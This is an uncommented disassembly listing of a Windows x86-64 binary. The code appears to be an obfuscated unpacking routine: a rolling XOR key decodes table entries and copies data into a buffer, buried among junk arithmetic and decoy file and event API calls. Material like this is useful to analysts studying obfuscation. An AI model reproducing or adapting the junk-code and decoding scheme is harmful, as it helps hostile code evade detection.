mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x1400fd1f0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x350]
mov rcx, qword [rsp + 0x2e40]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x360], ax
movsx eax, word [0x1400fd498]
movsx ecx, word [rsp + 0x6b4]
xor eax, ecx
mov word [rsp + 0x1de8], ax
mov dword [rsp + 0x13e4], 0
mov rax, qword [rsp + 0x3d00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2bd0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4160]
mov word [rcx], ax
mov rax, qword [rsp + 0x5290]
mov rax, qword [rax]
add rax, qword [0x1400fd7b0]
mov qword [rsp + 0x25e8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x7d2d
mov rcx, qword [rsp + 0x1b10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x33e4], eax
mov rax, qword [rsp + 0x768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x14f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2250]
mov qword [rcx], rax
mov eax, dword [rsp + 0xb98]
movzx ecx, al
mov eax, dword [rsp + 0x274c]
shr eax, cl
mov dword [rsp + 0x694], eax
mov eax, dword [rsp + 0x9ec]
mov dword [rsp + 0x21a4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5ab8], rax
movsx eax, byte [rsp + 0xf4]
mov rcx, qword [rsp + 0x3a90]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3f1], al
mov rax, qword [rsp + 0x1710]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x41c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3cf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x458]
sub eax, ecx
mov word [0x1400fc468], ax
mov rax, qword [rsp + 0x2e38]
mov rcx, qword [rsp + 0x760]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2258], rax
movzx eax, word [rsp + 0xbd8]
mov rcx, qword [0x1400fd480]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1628], ax
mov rdi, qword [rsp + 0x32a0]
xor eax, eax
mov ecx, 0x4046e
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x5298]
mov eax, dword [rax]
add eax, dword [rsp + 0x2750]
mov rcx, qword [rsp + 0x3a98]
mov dword [rcx], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x56a9
mov rcx, qword [rsp + 0x3c38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2754], eax
mov rax, qword [rsp + 0x1758]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4190]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3cd8]
mov byte [rcx], al
mov rax, qword [0x1400fd2c8]
mov rcx, qword [rsp + 0x4118]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x21a0], eax
mov rax, qword [rsp + 0x2bd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1368]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3f2], al
mov rax, qword [0x1400fd380]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1170]
shr rax, cl
mov qword [rsp + 0x2be0], rax
movsx eax, word [rsp + 0x6b0]
mov rcx, qword [rsp + 0xf90]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1a10]
mov word [rcx], ax
mov rax, qword [rsp + 0x1360]
mov ecx, dword [rsp + 0x9ec]
mov eax, dword [rax + 0x10]
xor eax, ecx
mov dword [rsp + 0x8dc], eax
movzx eax, word [rsp + 0x220]
mov rcx, qword [rsp + 0x52a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc3bc], ax
mov rcx, qword [rsp + 0x3aa0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a6c], eax
mov rax, qword [rsp + 0xb38]
mov rcx, qword [rsp + 0x1a08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x22e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1360]
mov ecx, dword [rsp + 0x9ec]
mov eax, dword [rax + 4]
xor eax, ecx
cmp dword [rsp + 0x8dc], eax
jae 0x140050731
mov rcx, qword [rsp + 0x52a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2758], eax
mov rax, qword [rsp + 0x52b0]
mov rcx, qword [rsp + 0x2e30]
mov qword [rsp + 0x52b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x52b8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2e28]
mov qword [rcx], rax
movsx eax, word [rsp + 0x5f4]
mov rcx, qword [rsp + 0xf90]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1400fd6d0]
mov word [rcx], ax
mov rax, qword [0x1400fd860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x25f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x45c], ax
mov rax, qword [rsp + 0x1d40]
mov ecx, dword [rsp + 0x275c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a60], eax
mov rax, qword [rsp + 0x1360]
movzx eax, byte [rax + 0x31]
test eax, eax
jne 0x1400502b6
jmp 0x140050731
mov rax, qword [rsp + 0x2e20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1be]
add eax, ecx
mov rcx, qword [rsp + 0x1b08]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd95e
mov rcx, qword [rsp + 0x52c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2760], eax
mov rax, qword [rsp + 0x2260]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3aa8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2be8], rax
mov eax, dword [rsp + 0x13dc]
mov ecx, dword [rsp + 0x9f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2764], eax
mov rax, qword [rsp + 0x2268]
mov rcx, qword [0x1400fd3c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e18], rax
movsx eax, byte [rsp + 0x2ce]
movsx ecx, byte [rsp + 0x933]
sar eax, cl
mov byte [rsp + 0x548], al
mov rax, qword [rsp + 0x1360]
mov ecx, dword [rsp + 0x9ec]
mov eax, dword [rax + 0x20]
xor eax, ecx
mov dword [rsp + 0x33e0], eax
xor edx, edx
mov eax, dword [rsp + 0x21a4]
mov ecx, dword [rsp + 0x33e0]
div ecx
mov eax, edx
mov dword [rsp + 0x33dc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5ac0], rax
movsx eax, word [rsp + 0xae0]
movsx ecx, word [rsp + 0x5f8]
sub eax, ecx
mov word [rsp + 0xbec], ax
mov rax, qword [rsp + 0x2e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb30]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1400fd288]
mov word [rcx], ax
mov rax, qword [rsp + 0x2dd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25f8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4120]
mov qword [rcx], rax
mov eax, dword [rsp + 0x33dc]
mov ecx, dword [rsp + 0x13e4]
add ecx, eax
mov eax, ecx
mov eax, eax
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx + rax], 0xd5
mov r9d, 1
xor r8d, r8d
mov edx, 0x8121
mov rcx, qword [rsp + 0x52c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
movzx eax, word [rsp + 0x162c]
movzx ecx, word [rsp + 0x1de4]
xor eax, ecx
mov word [rsp + 0x5fc], ax
movsx eax, word [rsp + 0x1630]
mov rcx, qword [rsp + 0xda0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3ab0]
mov word [rcx], ax
mov rax, qword [rsp + 0x2e08]
mov rcx, qword [rsp + 0x22f0]
mov qword [rsp + 0x52d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x52d0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2c40], rax
movsx eax, byte [rsp + 0x549]
movsx ecx, byte [rsp + 0x74]
add eax, ecx
mov byte [rsp + 0x13b], al
mov eax, dword [rsp + 0x8dc]
inc eax
mov dword [rsp + 0x8dc], eax
mov rax, qword [rsp + 0x3ab8]
mov rcx, qword [rsp + 0x19f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa10]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x2e00]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x960]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1b00]
add eax, dword [rcx]
mov dword [rsp + 0x8d8], eax
mov rax, qword [rsp + 0x14f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4128]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x600], ax
mov rax, qword [rsp + 0x3ac8]
mov rcx, qword [rsp + 0x1350]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x1400fd688]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x22b]
movzx ecx, byte [rsp + 0xddb]
sar eax, cl
mov byte [rsp + 0xdda], al
mov rax, qword [rsp + 0x1360]
mov ecx, dword [rsp + 0x9ec]
mov eax, dword [rax + 0x20]
xor eax, ecx
mov ecx, dword [rsp + 0x13e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13e4], eax
mov eax, dword [rsp + 0x10ec]
mov ecx, dword [rsp + 0x9f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13f4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.w9hxmau4lFVSCyXwHzVVTW4ELOQVb
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5ac8], rax
mov rax, qword [rsp + 0x2df8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3ac0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1a00]
mov word [rcx], ax
movzx eax, word [rsp + 0x550]
movzx ecx, word [rsp + 0x8bc]
and eax, ecx
mov word [rsp + 0x4f4], ax
mov eax, dword [rsp + 0x21a4]
rol eax, 7
imul eax, eax, 0x2a6d
mov dword [rsp + 0x21a4], eax
movsx eax, byte [rsp + 0x937]
movsx ecx, byte [rsp + 0x15c]
shl eax, cl
mov rcx, qword [rsp + 0x2bf0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x2bf8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21b0], eax
mov rax, qword [rsp + 0x4130]
mov ecx, dword [rsp + 0x510]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1a68], eax
mov rax, qword [0x1400fd5c0]
mov rcx, qword [rsp + 0x4228]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2600], rax
mov rax, qword [rsp + 0x52d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xda8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdb0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc5bc], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xb07d
mov rcx, qword [rsp + 0x4180]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21a8], eax
jmp 0x1400501df
mov rax, qword [rsp + 0x3ac8]
mov rcx, qword [rsp + 0x2df0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4138]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1de0]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x360], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.CqgWOAz4RSmDxkq5mCN4qg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5ad0], rax
mov rax, qword [rsp + 0x2638]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf04]
and eax, ecx
mov word [rsp + 0x8bc], ax
mov rax, qword [0x1400fd358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcc8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x21cc], eax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xfb0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x22f], al
mov rax, qword [rsp + 0x19a0]
mov rcx, qword [rsp + 0x2da0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x52e0], rax
mov rax, qword [rsp + 0x2c00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3ad0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3ad8], rax
mov rax, qword [rsp + 0xb28]
mov rcx, qword [rsp + 0x1738]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2c08], rax
mov rax, qword [rsp + 0x52e8]
mov rcx, qword [rsp + 0x19f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2608]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5ad8], rax
movsx eax, word [rsp + 0x8c4]
mov rcx, qword [rsp + 0x2c68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2de8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xdd9]
movsx ecx, byte [rsp + 0x22c]
sub eax, ecx
mov byte [rsp + 0x2b8], al
mov dword [rsp + 0x8dc], 0
mov dword [rsp + 0x21b4], 0
mov rax, qword [rsp + 0x52f0]
mov rcx, qword [rsp + 0x19e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8d8], eax
mov rax, qword [rsp + 0x3298]
movzx ecx, al
mov rax, qword [rsp + 0x2268]
shr rax, cl
mov qword [rsp + 0x2de0], rax
mov rax, qword [rsp + 0x2cc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2270]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4140]
mov byte [rcx], al
mov rax, qword [rsp + 0x1360]
mov ecx, dword [rsp + 0x9ec]
mov eax, dword [rax + 4]
xor eax, ecx
cmp dword [rsp + 0x8dc], eax
jae 0x140050da6
mov rcx, qword [rsp + 0x52f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xce4], eax
mov rax, qword [rsp + 0x5300]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x88]
add eax, ecx
mov word [rsp + 0x558], ax
mov rax, qword [rsp + 0x4148]
movzx eax, word [rax]
movzx ecx, word [0x1400fd698]
sub eax, ecx
mov word [rsp + 0x1640], ax
mov rax, qword [rsp + 0x2278]
movzx ecx, al
mov rax, qword [rsp + 0x2c10]
sar rax, cl
mov rcx, qword [rsp + 0x2dd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4150]
mov ecx, dword [rsp + 0x21ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x21d4], eax
mov eax, dword [rsp + 0x8dc]
mov rcx, qword [rsp + 0x32a0]
movzx eax, byte [rcx + rax]
test eax, eax
jne 0x140050b6a
mov rax, qword [rsp + 0x1750]
mov rcx, qword [rsp + 0x5308]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2dd0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x5310]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21b0], eax
mov rax, qword [rsp + 0x5318]
mov rcx, qword [0x1400fd4d8]
mov qword [rsp + 0x5320], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5320]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2278], rax
mov rax, qword [rsp + 0x19f0]
mov rcx, qword [rsp + 0x2c18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf98], rax
mov eax, dword [rsp + 0x8dc]
mov rcx, qword [rsp + 0x1360]
mov rcx, qword [rcx + 8]
mov edx, dword [rsp + 0x21b4]
mov rdi, qword [rsp + 0x32d8]
movzx eax, byte [rax + rcx]
mov byte [rdi + rdx], al
mov eax, dword [rsp + 0x21b4]
inc eax
mov dword [rsp + 0x21b4], eax
mov rax, qword [rsp + 0x2280]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2dc8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x92f], al
mov rax, qword [rsp + 0x4158]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54a]
add eax, ecx
mov byte [rsp + 0x16c], al
mov rax, qword [rsp + 0xd40]
mov rcx, qword [rsp + 0x2c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a64], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4221
mov rcx, qword [rsp + 0x32a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xccc], eax
mov rax, qword [rsp + 0x2c20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x21b8]
shr eax, cl
mov rcx, qword [rsp + 0x19e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2288]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1748]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1af8], rax
movsx eax, byte [rsp + 0x1bf]
movsx ecx, byte [rsp + 0x22d]
and eax, ecx
mov byte [rsp + 0x930], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.RjA3IVvt9l_rI1sAl6VjCAONJ95_fJFLh2D
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5ae0], rax
mov rax, qword [rsp + 0x2dc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ddc]
and eax, ecx
mov rcx, qword [rsp + 0x1190]
mov word [rcx], ax
mov rax, qword [rsp + 0x22f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4160]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2c28]
mov word [rcx], ax
mov rax, qword [0x1400fd328]
movzx ecx, al
mov rax, qword [rsp + 0x32b0]
sar rax, cl
mov qword [0x1400fc488], rax
mov rax, qword [rsp + 0x19e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1538]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xbe8], ax
movsx eax, word [rsp + 0x554]
mov rcx, qword [rsp + 0x2610]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1400fd5d0], ax
movsx eax, word [rsp + 0x4f8]
movsx ecx, word [rsp + 0x1dd8]
add eax, ecx
mov rcx, qword [rsp + 0xfa0]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5ae8], rax
mov rax, qword [rsp + 0x5328]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x558]
sub eax, ecx
mov rcx, qword [rsp + 0x1358]
mov word [rcx], ax
movzx eax, word [rsp + 0x114]
mov rcx, qword [0x1400fd8f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf08], ax
mov eax, dword [rsp + 0x8dc]
inc eax
mov dword [rsp + 0x8dc], eax
mov rax, qword [rsp + 0x2c38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10c]
add eax, ecx
mov byte [rsp + 0x54b], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc522
mov rcx, qword [rsp + 0x32b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13e0], eax
mov rax, qword [0x1400fd4a0]
mov rcx, qword [rsp + 0x1500]
mov qword [rsp + 0x5330], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5330]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x1af0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2768]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x33d8], eax
movsx eax, word [rsp + 0xf0c]
movsx ecx, word [rsp + 0x1634]
xor eax, ecx
mov word [rsp + 0x8b8], ax
jmp 0x14005094d
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb5e1
mov rcx, qword [rsp + 0x4168]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x33d4], eax
mov rax, qword [rsp + 0xdc0]
mov ecx, dword [rsp + 0x1a60]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb94], eax
movsx eax, word [rsp + 0x460]
movsx ecx, word [rsp + 0x25c]
shl eax, cl
mov rcx, qword [0x1400fd618]
mov word [rcx], ax
movzx eax, word [rsp + 0xbe4]
mov rcx, qword [rsp + 0x10a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x6a8], ax
mov rax, qword [rsp + 0x1d38]
mov rcx, qword [rsp + 0x22b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1400fd1b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32c0]
mov rax, qword [rax]
add rax, qword [0x1400fd3f0]
mov qword [rsp + 0x2db8], rax
mov rcx, qword [rsp + 0x2618]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x620]
mov rcx, qword [rsp + 0x22b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c30]
mov rcx, qword [rsp + 0x1740]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4170], rax
mov rax, qword [rsp + 0x1360]
mov ecx, dword [rsp + 0x9ec]
mov eax, dword [rax + 0x10]
xor eax, ecx
mov dword [rsp + 0x8dc], eax
movzx eax, word [0x1400fd168]
mov rcx, qword [rsp + 0x2620]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1ae8]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.SzNWRK7a0rfEQURo5w
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5af0], rax
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22e]
sub eax, ecx
mov byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties], al
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
add eax, dword [rsp + 0x13e8]
mov dword [rsp + 0x10f0], eax
mov eax, dword [rsp + 0x8e0]
mov ecx, dword [rsp + 0x276c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c38]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2db0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x22f], al
mov rcx, qword [rsp + 0x4178]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1360]
mov ecx, dword [rsp + 0x9ec]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x13e4], eax
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1ae0]
shl rax, cl
mov qword [0x1400fd4a0], rax
mov rax, qword [rsp + 0x2da8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6ac]
sar eax, cl
mov word [rsp + 0x1638], ax
movsx eax, word [0x1400fc54c]
movsx ecx, word [rsp + 0x163c]
add eax, ecx
mov rcx, qword [rsp + 0x2290]
mov word [rcx], ax
mov eax, dword [rsp + 0x8dc]
mov ecx, dword [rsp + 0x13e4]
mov rdx, qword [rsp + 0x2668]
add rdx, rcx
mov rcx, rdx
mov rdi, rcx
mov rsi, qword [rsp + 0x32d8]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x2298]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6a8]
sub eax, ecx
mov rcx, qword [rsp + 0x10a0]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xccff
mov rcx, qword [rsp + 0x4180]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21bc], eax
mov rax, qword [rsp + 0x1180]
mov rcx, qword [0x1400fd710]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xdb8], rax
mov rax, qword [rsp + 0x1510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x931]
and eax, ecx
mov byte [rsp + 0xdd8], al
mov rax, qword [rsp + 0x1ad8]
mov rax, qword [rax]
add rax, qword [rsp + 0x22a0]
mov qword [rsp + 0x32e0], rax
mov eax, dword [rsp + 0x33d0]
movzx ecx, al
mov eax, dword [rsp + 0x33cc]
shr eax, cl
mov rcx, qword [rsp + 0x32e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9ec]
add eax, 0x780b
rol eax, 0x13
mov dword [rsp + 0x9ec], eax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2310]
mov word [rcx], ax
movzx eax, word [0x1400fd8bc]
movzx ecx, word [rsp + 0x8c]
and eax, ecx
mov word [0x1400fd780], ax
mov rcx, qword [rsp + 0x22a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x436c], eax
mov rax, qword [rsp + 0x7d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1528], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe3cf
mov rcx, qword [rsp + 0x32f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x33c8], eax
mov rax, qword [rsp + 0x19d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc88]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x8bc], ax
mov eax, dword [rsp + 0x2770]
mov rcx, qword [rsp + 0x2c48]
mov qword [rsp + 0x5338], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5338]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xdc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1360]
add rax, 0x38
mov qword [rsp + 0x1360], rax
movzx eax, byte [rsp + 0x130]
mov rcx, qword [rsp + 0x32f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1c4], al
mov eax, dword [rsp + 0x2774]
movzx ecx, al
mov eax, dword [rsp + 0x330]
shr eax, cl
mov dword [rsp + 0x630], eax
mov rax, qword [rsp + 0x4188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1510]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3f3], al
mov rcx, qword [rsp + 0x2c50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a54], eax
jmp 0x14004fe80
movzx eax, word [0x1400fd758]
movzx ecx, word [rsp + 0x8c0]
add eax, ecx
mov word [rsp + 0x698], ax
mov rax, qword [rsp + 0xc50]
mov ecx, dword [rsp + 0xb4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x33c4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.j6lGVDp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x53b8], rax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x932]
and eax, ecx
mov rcx, qword [rsp + 0x4190]
mov byte [rcx], al
movsx eax, byte [rsp + 0x54c]
mov rcx, qword [rsp + 0x1368]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2cb], al
mov rax, qword [0x1400fd3c0]
mov rcx, qword [rsp + 0x2da0]
add rcx, rax
mov rax, rcx
